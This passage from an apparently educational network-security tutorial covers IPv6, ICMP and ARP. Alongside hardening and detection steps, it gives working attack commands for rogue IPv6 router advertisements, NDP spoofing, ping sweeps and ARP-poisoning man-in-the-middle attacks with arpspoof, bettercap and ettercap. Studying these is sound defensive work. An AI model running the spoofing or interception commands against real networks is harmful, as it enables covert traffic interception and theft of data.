&lt;ul&gt;
&lt;li&gt;Internal hosts can still initiate outbound connections (C2 communication bypasses NAT)&lt;/li&gt;
&lt;li&gt;NAT traversal techniques (STUN, TURN, UPnP, ICMP tunnel) allow external hosts to reach internal machines&lt;/li&gt;
&lt;li&gt;UPnP (Universal Plug and Play) allows applications to automatically configure NAT port forwarding — malware exploits this&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Forensic implications:&lt;/strong&gt; NAT obscures the true source of connections. When investigating an incident, the firewall/NAT log is essential — without it, all connections appear to come from the NAT device's public IP.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. IPv6 Fundamentals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Why IPv6 Exists and Why It Matters for Security
&lt;/h3&gt;

&lt;p&gt;IPv4 has 2^32 = 4,294,967,296 addresses. The internet ran out of unallocated IPv4 space in 2011. IPv6 was designed to replace it.&lt;/p&gt;

&lt;p&gt;IPv6 has 2^128 addresses. That is 340 undecillion (3.4 × 10^38) — roughly 50 octillion addresses per person on Earth. Address exhaustion is not a concern for the foreseeable future.&lt;/p&gt;

&lt;p&gt;For security professionals, IPv6 matters because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Many networks have dual-stack (IPv4 + IPv6) deployments where the IPv6 side is misconfigured or unmonitored&lt;/li&gt;
&lt;li&gt;Security tools, firewalls, and monitoring systems are often IPv4-centric — IPv6 traffic slips through&lt;/li&gt;
&lt;li&gt;IPv6 has its own address types, protocols (ICMPv6, NDP), and attack surface&lt;/li&gt;
&lt;li&gt;IPv6 is often enabled by default on operating systems even when the network administrator thinks they are running IPv4-only&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.2 IPv6 Address Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IPv6 address: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
              ─────────────────────────────────────────
              128 bits, 8 groups of 16 bits each, hex notation

Shorthand rules:
  1. Leading zeros in each group can be omitted:
     0db8 → db8
     0000 → 0

  2. One or more consecutive all-zero groups can be replaced with ::
     (only once per address):
     2001:db8:85a3:0:0:8a2e:370:7334
     → 2001:db8:85a3::8a2e:370:7334

Examples:
  ::1                    Loopback (equivalent to 127.0.0.1)
  ::                     Unspecified address (equivalent to 0.0.0.0)
  fe80::1                Link-local address
  2001:db8::/32          Documentation prefix (like 192.0.2.0/24)
  ff02::1                All nodes (link-local multicast)
  ff02::2                All routers (link-local multicast)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 IPv6 Address Types
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Global Unicast:    2000::/3  (currently 2001::-3fff::)
  Globally unique, routable on the internet
  Equivalent to public IPv4 addresses

Link-Local:        fe80::/10
  Only valid on a single link (subnet)
  Automatically configured on every IPv6-capable interface
  Used for NDP (Neighbour Discovery Protocol — IPv6 ARP replacement)
  NOT routable beyond the local link

Unique Local:      fc00::/7  (currently fd00::/8 in practice)
  Equivalent to RFC 1918 private addresses
  Routable within an organisation, not on the internet

Loopback:          ::1/128
  Equivalent to 127.0.0.1

Multicast:         ff00::/8
  No broadcast in IPv6 — broadcast replaced with multicast
  ff02::1 = all nodes on link
  ff02::2 = all routers on link
  ff02::1:ff00:0/104 = solicited-node multicast (used by NDP)

IPv4-Mapped:       ::ffff:0:0/96
  Represents IPv4 addresses in IPv6 notation
  ::ffff:192.168.1.1 = 192.168.1.1 in IPv6 format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.4 IPv6 Security — The Hidden Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Dual-stack networks:&lt;/strong&gt;&lt;br&gt;
Most modern operating systems enable IPv6 by default. Even if the network administrator has not configured IPv6, the operating system will autoconfigure a link-local address (fe80::/10) and may configure a global address via SLAAC (Stateless Address Autoconfiguration) if a router is advertising IPv6 prefixes.&lt;/p&gt;

&lt;p&gt;This creates a hidden attack surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scenario:
  Administrator: "We run IPv4 only, our firewall rules are IPv4"
  Reality: All Windows, Linux, macOS machines have IPv6 enabled
           If any machine has a global IPv6 address, it may be
           directly reachable from the IPv6 internet
           without going through the IPv4 firewall

Check IPv6 on Linux:
ip -6 addr show                         # All IPv6 addresses
ip -6 route show                        # IPv6 routing table
cat /proc/net/if_inet6                  # All IPv6 interfaces

Check IPv6 on Windows:
ipconfig | findstr /i "IPv6"
netsh interface ipv6 show addresses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NDP — Neighbour Discovery Protocol:&lt;/strong&gt;&lt;br&gt;
NDP is IPv6's replacement for ARP. It uses ICMPv6 messages instead of a dedicated protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NDP messages:
  ICMPv6 Type 133: Router Solicitation (RS) — "Is there a router?"
  ICMPv6 Type 134: Router Advertisement (RA) — "I am a router, here are params"
  ICMPv6 Type 135: Neighbour Solicitation (NS) — "Who has this IPv6 address?"
  ICMPv6 Type 136: Neighbour Advertisement (NA) — "I have this IPv6 address"
  ICMPv6 Type 137: Redirect — "Use a better route"

NDP has the same fundamental vulnerability as ARP: no authentication.
NDP spoofing is the IPv6 equivalent of ARP spoofing.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rogue Router Advertisement (RA) attacks:&lt;/strong&gt;&lt;br&gt;
An attacker can send fake Router Advertisements to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redirect traffic through the attacker's machine (default route hijacking)&lt;/li&gt;
&lt;li&gt;Configure a malicious DNS server on victim machines&lt;/li&gt;
&lt;li&gt;Perform MITM on all IPv6 traffic
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Tools for IPv6 attacks:&lt;/span&gt;
&lt;span class="c"&gt;# THC-IPv6 toolkit (pre-installed on Kali)&lt;/span&gt;

&lt;span class="c"&gt;# Send rogue RA to assign attacker's machine as default gateway:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;atk6-fake_router6 eth0 2001:db8::/64

&lt;span class="c"&gt;# IPv6 NDP spoofing:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;parasite6 eth0                     &lt;span class="c"&gt;# NDP responder (like arpspoof for IPv6)&lt;/span&gt;

&lt;span class="c"&gt;# Detect rogue RAs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;radvd &lt;span class="nt"&gt;--debug&lt;/span&gt;                      &lt;span class="c"&gt;# Monitor for unexpected RAs&lt;/span&gt;
&lt;span class="c"&gt;# Or in Wireshark: icmpv6.type == 134   (Router Advertisement)&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected RAs from non-router MACs are suspicious&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;IPv6 scanning:&lt;/strong&gt;&lt;br&gt;
The IPv6 address space is so large that random scanning is impractical. But attackers use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multicast addresses (ff02::1 reaches all hosts on the link without knowing individual addresses)&lt;/li&gt;
&lt;li&gt;SLAAC-based addresses are often predictable (EUI-64 format embeds the MAC address)&lt;/li&gt;
&lt;li&gt;DNS enumeration for IPv6 AAAA records
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover IPv6 hosts on local link using multicast&lt;/span&gt;
ping6 &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 ff02::1                   &lt;span class="c"&gt;# Ping all nodes multicast&lt;/span&gt;
&lt;span class="c"&gt;# Captures responses from all IPv6-enabled hosts on the link&lt;/span&gt;

&lt;span class="c"&gt;# Nmap IPv6 scan&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-6&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 2001:db8::1           &lt;span class="c"&gt;# Single IPv6 host&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-6&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; ipv6-multicast-mld-list eth0  &lt;span class="c"&gt;# Discover via multicast&lt;/span&gt;

&lt;span class="c"&gt;# Check for AAAA records (IPv6 DNS)&lt;/span&gt;
dig AAAA google.com
host &lt;span class="nt"&gt;-t&lt;/span&gt; AAAA google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; IPv4 addresses are nearly exhausted and IPv6 deployment is accelerating. More importantly, IPv6 is already running on most enterprise systems — often unmonitored and unmanaged. An attacker who pivots to IPv6 on a dual-stack network may find a completely undefended path. Every network assessment must include IPv6 enumeration, and every security architecture must account for IPv6 traffic.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  9. ICMP — The Network's Diagnostic Layer
&lt;/h2&gt;
&lt;h3&gt;
  
  
  9.1 What ICMP Is
&lt;/h3&gt;

&lt;p&gt;ICMP (Internet Control Message Protocol, RFC 792) runs directly over IP (protocol number 1) and provides network diagnostic and error reporting functions. It has no ports and cannot be used for application data transfer.&lt;/p&gt;

&lt;p&gt;ICMP is essential for network operation, but it is also one of the most abused protocols in offensive security.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.2 ICMP Message Types
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Type  Code  Name                           Security Relevance
─────────────────────────────────────────────────────────────────
0     0     Echo Reply                     Ping response — host is up
3     0     Destination Unreachable        
      0     Net Unreachable                Routing problem
      1     Host Unreachable               Host down or firewalled
      2     Protocol Unreachable           Protocol not supported
      3     Port Unreachable               No service on UDP port
      4     Fragmentation Needed           MTU path discovery
      9     Dest. Network Admin. Prohibit  Firewall block (ACL)
      10    Dest. Host Admin. Prohibit     Firewall block
      13    Comm. Admin. Prohibited        Firewall block
5     0     Redirect Datagram for Net      Route manipulation attack
      1     Redirect Datagram for Host     Route manipulation attack
8     0     Echo Request                   Ping — host discovery
11    0     Time Exceeded (TTL)            Traceroute mechanism
      0     TTL exceeded in transit        Traceroute hop
      1     Fragment reassembly timeout    Fragmentation issue
12    0     Parameter Problem              Malformed packet
13    0     Timestamp Request              OS fingerprinting
14    0     Timestamp Reply
17    0     Address Mask Request           Network enumeration (deprecated)
18    0     Address Mask Reply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.3 ICMP in Host Discovery and Network Mapping
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ping — ICMP Echo Request (Type 8) / Echo Reply (Type 0)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1               &lt;span class="c"&gt;# 4 pings&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.1          &lt;span class="c"&gt;# Single ping, 1 second timeout&lt;/span&gt;
ping &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.1.255               &lt;span class="c"&gt;# Broadcast ping (may reveal all hosts)&lt;/span&gt;

&lt;span class="c"&gt;# Ping sweep — discover live hosts&lt;/span&gt;
&lt;span class="c"&gt;# Nmap ICMP ping sweep:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Echo ping sweep&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Timestamp ping sweep (bypasses some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Address Mask ping sweep&lt;/span&gt;

&lt;span class="c"&gt;# fping — parallel ping for faster sweeps&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;fping
fping &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24 2&amp;gt;/dev/null  &lt;span class="c"&gt;# -a = show alive, -g = generate range&lt;/span&gt;

&lt;span class="c"&gt;# Traceroute — uses ICMP TTL exceeded responses&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# -n = no DNS resolution&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-I&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# ICMP mode (default is UDP on Linux)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 8.8.8.8         &lt;span class="c"&gt;# TCP traceroute to port 80&lt;/span&gt;

&lt;span class="c"&gt;# How traceroute works:&lt;/span&gt;
&lt;span class="c"&gt;# Packet 1: TTL=1 → first router decrements to 0 → ICMP Type 11 back&lt;/span&gt;
&lt;span class="c"&gt;# Packet 2: TTL=2 → first router: TTL-1=1, second router: TTL-1=0 → ICMP Type 11&lt;/span&gt;
&lt;span class="c"&gt;# ...continues until destination reached (ICMP Echo Reply or ICMP Port Unreachable)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.4 ICMP Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Ping of Death (historical, CVE-1996-nnnn):&lt;/strong&gt;&lt;br&gt;
An IPv4 packet can theoretically carry up to 65,535 bytes of data (2^16 -1 total length). An ICMP Echo Request with 65,507 bytes of payload (65,535 - 20 IP header - 8 ICMP header) is valid. However, this is larger than the maximum Ethernet frame, so it gets fragmented. On many older implementations, the reassembled packet caused a buffer overflow in the kernel's reassembly buffer — crashing or blue-screening the system. Patched in all modern OSes but still relevant for legacy embedded systems (some OT devices).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Smurf Attack (historical but documented):&lt;/strong&gt;&lt;br&gt;
Attacker sends ICMP Echo Request to a network's broadcast address with spoofed source IP (victim's IP). All hosts on the network reply to the victim. Amplification ratio = number of hosts on the network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10 hosts on network + broadcast ping = 10× amplification
1,000 hosts on network = 1,000× amplification

Mitigation: 
  ISPs should block directed broadcast (RFC 2644)
  Hosts should not respond to broadcast pings
  sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 (Linux default)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Redirect Attack:&lt;/strong&gt;&lt;br&gt;
ICMP Type 5 allows a router to tell a host "use a different gateway for this specific destination." The host updates its routing table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack:
  Attacker sends ICMP Redirect: "For destination 8.8.8.8, use gateway 192.168.1.50 (attacker)"
  Victim host adds route: 8.8.8.8 via 192.168.1.50
  All traffic to 8.8.8.8 now goes to attacker first

Defence:
  Disable ICMP redirect acceptance:
  sysctl -w net.ipv4.conf.all.accept_redirects=0
  sysctl -w net.ipv4.conf.all.secure_redirects=0

  Verify:
  cat /proc/sys/net/ipv4/conf/all/accept_redirects  # 0 = disabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Tunnelling:&lt;/strong&gt;&lt;br&gt;
ICMP Echo Request and Reply packets can carry arbitrary data in their payload. An attacker can encapsulate any TCP/IP traffic inside ICMP packets to bypass firewalls that allow ICMP but block direct TCP/UDP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Normal ping payload: 32 bytes &lt;span class="o"&gt;(&lt;/span&gt;on Windows&lt;span class="o"&gt;)&lt;/span&gt; or 56 bytes &lt;span class="o"&gt;(&lt;/span&gt;on Linux&lt;span class="o"&gt;)&lt;/span&gt;
Attack: Use full 65,507 bytes of ICMP payload to tunnel data

Detection:
- ICMP packets with large payloads &lt;span class="o"&gt;(&amp;gt;&lt;/span&gt;100 bytes &lt;span class="k"&gt;for &lt;/span&gt;Echo&lt;span class="o"&gt;)&lt;/span&gt;
- ICMP packets with unusual payload content &lt;span class="o"&gt;(&lt;/span&gt;not repeating patterns&lt;span class="o"&gt;)&lt;/span&gt;
- High-frequency ICMP traffic from a single host
- ICMP traffic at non-ping timing patterns

Tools: icmptunnel, ptunnel, ICMPTX

&lt;span class="c"&gt;# Detect large ICMP payloads in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: icmp and data.len &amp;gt; 100&lt;/span&gt;

&lt;span class="c"&gt;# Or with tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and greater 150'&lt;/span&gt;   &lt;span class="c"&gt;# ICMP packets &amp;gt; 150 bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 ICMP Firewall Behaviour and Fingerprinting
&lt;/h3&gt;

&lt;p&gt;When a firewall blocks a connection, the type of ICMP response (if any) reveals the firewall's configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port response analysis:
  SYN → SYN-ACK:    Port open
  SYN → RST:        Port closed (no service)
  SYN → no response: Port filtered (firewall DROP rule — silent discard)
  SYN → ICMP Type 3 Code 13: Port administratively prohibited (firewall REJECT rule)

The difference between DROP and REJECT:
  DROP:   Firewall silently discards packet → attacker doesn't know if host is up
  REJECT: Firewall sends ICMP error → tells attacker the host exists

  DROP is generally preferred from a security perspective (reveals less)
  REJECT is preferred from a usability perspective (faster failure, clearer error)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap output interpretation:&lt;/span&gt;
&lt;span class="c"&gt;# open: SYN-ACK received&lt;/span&gt;
&lt;span class="c"&gt;# closed: RST received&lt;/span&gt;
&lt;span class="c"&gt;# filtered: no response or ICMP unreachable received&lt;/span&gt;

&lt;span class="c"&gt;# Identify firewall policy (DROP vs REJECT):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--reason&lt;/span&gt; 192.168.1.1
&lt;span class="c"&gt;# "no-response" = DROP policy&lt;/span&gt;
&lt;span class="c"&gt;# "admin-prohibited" = REJECT policy with ICMP Type 3 Code 13&lt;/span&gt;
&lt;span class="c"&gt;# "reset" = no firewall, closed port&lt;/span&gt;

&lt;span class="c"&gt;# Time-based differentiation:&lt;/span&gt;
&lt;span class="c"&gt;# DROP: Nmap waits for timeout (slow)&lt;/span&gt;
&lt;span class="c"&gt;# RST: Immediate response (fast)&lt;/span&gt;
&lt;span class="c"&gt;# Compare scan timing — slow = DROP policy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. ARP — Address Resolution Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 What ARP Does and Why It Has No Security
&lt;/h3&gt;

&lt;p&gt;ARP (RFC 826, 1982) resolves IPv4 addresses to MAC addresses. Before sending an IP packet, a device must know the MAC address of the next hop (the destination if on the same subnet, or the gateway if not).&lt;/p&gt;

&lt;p&gt;RFC 826 is 7 pages long. It was written in 1982 when the internet consisted of researchers who trusted each other. There is no authentication, no verification, no cryptographic integrity. Any device can claim any IP-to-MAC mapping, and other devices will believe it. This was not an oversight — it was an acceptable design decision at the time.&lt;/p&gt;

&lt;p&gt;Forty years later, this design decision is responsible for some of the most common network attacks in existence.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 ARP Operation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ARP Request (broadcast):
  Source: 192.168.1.5 (MAC: AA:BB:CC:DD:EE:FF)
  Wants to reach: 192.168.1.1
  Doesn't know: 192.168.1.1's MAC address

  Sends Ethernet broadcast (dst: FF:FF:FF:FF:FF:FF):
  "Who has 192.168.1.1? Tell 192.168.1.5 (AA:BB:CC:DD:EE:FF)"

  All devices on the segment receive this.
  Only 192.168.1.1 should respond.

ARP Reply (unicast):
  Source: 192.168.1.1 (MAC: 11:22:33:44:55:66)
  Sends directly to 192.168.1.5:
  "192.168.1.1 is at 11:22:33:44:55:66"

ARP Cache:
  Receiving device stores this mapping in ARP cache
  Linux default: 60-second TTL with garbage collection
  Windows default: 15-30 second reachable timeout, up to 45-90 seconds stale

  View ARP cache:
  arp -a                              # Linux/Windows
  ip neigh show                       # Linux (modern)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Gratuitous ARP:&lt;/strong&gt;&lt;br&gt;
A device can send an unsolicited ARP reply announcing its own IP-to-MAC mapping. This is used for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Updating the ARP cache of all neighbours after NIC replacement&lt;/li&gt;
&lt;li&gt;Announcing a new IP address&lt;/li&gt;
&lt;li&gt;High-availability failover (sending gratuitous ARP to update switches after failover)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Gratuitous ARP is the mechanism that makes ARP poisoning possible — any device can announce any mapping, and others accept it without question.&lt;/p&gt;
&lt;h3&gt;
  
  
  10.3 ARP Poisoning Attack — Full Technical Detail
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network:
  Gateway:        192.168.1.1  (MAC: GW:GW:GW:GW:GW:GW)
  Victim A:       192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)
  Victim B:       192.168.1.20 (MAC: BB:BB:BB:BB:BB:BB)
  Attacker:       192.168.1.50 (MAC: AT:AT:AT:AT:AT:AT)

Attack:
  Attacker sends to 192.168.1.10:
    "192.168.1.1 is at AT:AT:AT:AT:AT:AT"  (lie about gateway MAC)

  Attacker sends to 192.168.1.1:
    "192.168.1.10 is at AT:AT:AT:AT:AT:AT" (lie about victim MAC)

Result on 192.168.1.10's ARP cache:
  BEFORE: 192.168.1.1 → GW:GW:GW:GW:GW:GW ✓
  AFTER:  192.168.1.1 → AT:AT:AT:AT:AT:AT  ← POISONED

Traffic flow:
  192.168.1.10 sends packet to "gateway" (AT:AT:AT:AT:AT:AT)
  Attacker receives it, reads it (MITM), forwards to real gateway
  Response returns via same path (attacker also poisoned gateway's ARP)

Attacker sees all traffic between victim and gateway.
With IP forwarding enabled, communication continues normally — 
victim has no indication of the attack.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ARP poisoning tools:&lt;/span&gt;

&lt;span class="c"&gt;# arpspoof (dsniff package) — classic tool&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.10 192.168.1.1
&lt;span class="c"&gt;# -t = target (who to poison)&lt;/span&gt;
&lt;span class="c"&gt;# last argument = IP to impersonate&lt;/span&gt;
&lt;span class="c"&gt;# This sends gratuitous ARPs to 192.168.1.10 claiming 192.168.1.1's IP&lt;/span&gt;

&lt;span class="c"&gt;# For bidirectional MITM, run two arpspoof instances:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.10 192.168.1.1 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1 192.168.1.10 &amp;amp;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward  &lt;span class="c"&gt;# Enable forwarding&lt;/span&gt;

&lt;span class="c"&gt;# Bettercap — modern, comprehensive&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; eth0
&lt;span class="c"&gt;# In bettercap console:&lt;/span&gt;
&lt;span class="c"&gt;# net.probe on              # Discover hosts&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof.targets 192.168.1.10,192.168.1.20  # Target specific hosts&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof on              # Start poisoning&lt;/span&gt;
&lt;span class="c"&gt;# net.sniff on              # Capture traffic&lt;/span&gt;

&lt;span class="c"&gt;# Ettercap — all-in-one MITM&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ettercap &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-M&lt;/span&gt; arp:remote /192.168.1.1// /192.168.1.10//
&lt;span class="c"&gt;# -T = text mode, -q = quiet, -M = MITM mode arp:remote&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  10.4 Detecting and Mitigating ARP Attacks
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# arpwatch — monitors ARP activity, alerts on changes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;arpwatch
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Run and log to syslog&lt;/span&gt;
&lt;span class="c"&gt;# Alerts on: new station, changed ethernet address, flip-flop (rapid MAC changes)&lt;/span&gt;

&lt;span class="c"&gt;# Manual detection — look for duplicate IP with different MAC:&lt;/span&gt;
ip neigh show | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# Multiple entries for same IP = suspicious&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark detection:&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Find Packet → Packet Details → ARP&lt;/span&gt;
&lt;span class="c"&gt;# Look for: "duplicate use of &amp;lt;IP&amp;gt; detected"&lt;/span&gt;
&lt;span class="c"&gt;# Wireshark automatically alerts on duplicate IP-to-MAC mappings&lt;/span&gt;

&lt;span class="c"&gt;# Detect in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from scapy.all import sniff, ARP
from collections import defaultdict

ip_mac_map = defaultdict(set)

def detect_arp_spoofing(pkt):
    if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP Reply
        ip = pkt[ARP].psrc
        mac = pkt[ARP].hwsrc
        ip_mac_map[ip].add(mac)
        if len(ip_mac_map[ip]) &amp;gt; 1:
            print(f"[!] ARP POISONING DETECTED: {ip} claimed by MACs: {ip_mac_map[ip]}")

print("Monitoring ARP traffic...")
sniff(filter="arp", prn=detect_arp_spoofing, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



